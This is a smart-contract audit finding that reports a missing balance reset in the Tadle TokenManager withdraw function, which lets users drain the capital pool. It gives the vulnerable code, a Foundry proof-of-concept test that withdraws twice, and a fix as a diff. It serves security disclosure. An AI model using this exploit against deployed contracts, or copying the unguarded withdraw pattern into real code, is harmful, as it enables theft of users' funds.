Summary
To withdraw tokens from Tadle, users are supposed to call the withdraw
function in tokenManager
. However, after the withdrawal, the code fails to update the user's balance, allowing the user to potentially drain all available capital.
Vulnerability Details
To withdraw Tokens from Tadle the user will call withdraw
function of token Manager contract.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
if (
IERC20(_tokenAddress).allowance(capitalPoolAddr, address(this)) == 0x0
) {
ICapitalPool(capitalPoolAddr).approve(_tokenAddress);
}
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
As it can be seen from above code that the user balance mapping is not updated and it will hold the same amount even after withdrawing it.
Note : The following POC assumes that the withdrawal issue is fixed as recommend in my other finding. but the Attacker can still withdraw because the approve function in CapitalPool can be called by anyone.
Add following coded POC to PreMarket.t.sol
file:
function test_Withdraw_hack() external {
deal(address(tokenManager), 100 ** 18);
vm.startPrank(user);
preMarktes.createOffer{value: 0.012 * 1e18}(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer{value: 0.0072 * 1e18}(
stock1Addr,
0.006 * 1e18,
12000
);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stock1Addr, offer1Addr);
console2.log(mockUSDCToken.balanceOf(user));
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log(mockUSDCToken.balanceOf(user));
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.MakerRefund
);
console2.log(mockUSDCToken.balanceOf(user));
vm.stopPrank();
}
Run with command : forge test --mt test_Withdraw_hack -vvv
.
Impact
The user is able to drain the Capital Pool Balance of given token.
Tools Used
Manual review
Recommendations
Update the balance mapping before token transfers:
@@ -141,11 +142,12 @@ contract TokenManager is
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;